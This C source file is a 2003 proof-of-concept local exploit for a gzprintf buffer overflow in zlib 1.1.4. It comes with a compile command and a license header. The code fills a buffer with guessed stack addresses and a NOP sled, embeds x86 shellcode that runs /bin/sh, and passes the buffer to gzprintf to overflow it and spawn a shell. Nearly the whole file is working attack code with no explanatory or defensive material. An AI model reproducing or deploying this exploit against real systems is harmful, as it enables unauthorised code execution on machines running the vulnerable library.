/*
 *  zlib 1.1.4 local exploit - proof of concept
 *
 *  Copyright (c) 2003 Angelo Dell'Aera <buffer@antifork.org>
 *
 *  For compiling:
 *  gcc -static -o zlib-exploit zlib-exploit.c -lz
 *
 *  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

#include <zlib.h>
#include <errno.h>
#include <stdio.h>

#define NOP 			0x90
#define DEFAULT_OFFSET		3000
#define DEFAULT_BUFFER_SIZE	5000

char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68"
		   "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89"
		   "\xe1\xcd\x80";


unsigned long get_sp()
{
	unsigned long esp;
	
	__asm__("mov %%esp,%0" : "=m" (esp));
	return esp;
}


int main(int argc, char **argv)
{
	unsigned char  *buffer;
	unsigned long  *addr_ptr;
	unsigned char  *ptr;
	unsigned char  *bof;
	unsigned long  address;
	unsigned long  offset = DEFAULT_OFFSET;
	size_t         buffer_size = DEFAULT_BUFFER_SIZE;
	gzFile	       dummy;
	int 	       i;

	if (argc > 1)
		offset = atoi(argv[1]);
	
	if (argc > 2)
		buffer_size = atoi(argv[2]);

	address = get_sp() - offset;

	if (!(buffer = (unsigned char *)malloc(buffer_size))) {
		perror("malloc");
		exit(0);
	}

	if (!(dummy = gzopen("/dev/null", "w"))) {
		perror("gzopen");
		exit(0);
	}

	addr_ptr = (unsigned long *)buffer;
	bof      = buffer;

	printf("Using address : 0x%x.....\n", address);

	for(i = 0; i < buffer_size ; i += 4)
		*(addr_ptr++) = address;

	for(i = 0; i < (buffer_size/2); i++)
		buffer[i] = NOP;

	ptr = buffer + (buffer_size/2) - strlen(shellcode);

	for(i = 0; i < strlen(shellcode); i++)
		*(ptr++) = shellcode[i];

	gzprintf(dummy, "%s", bof);

	gzclose(dummy);

	exit(0);
}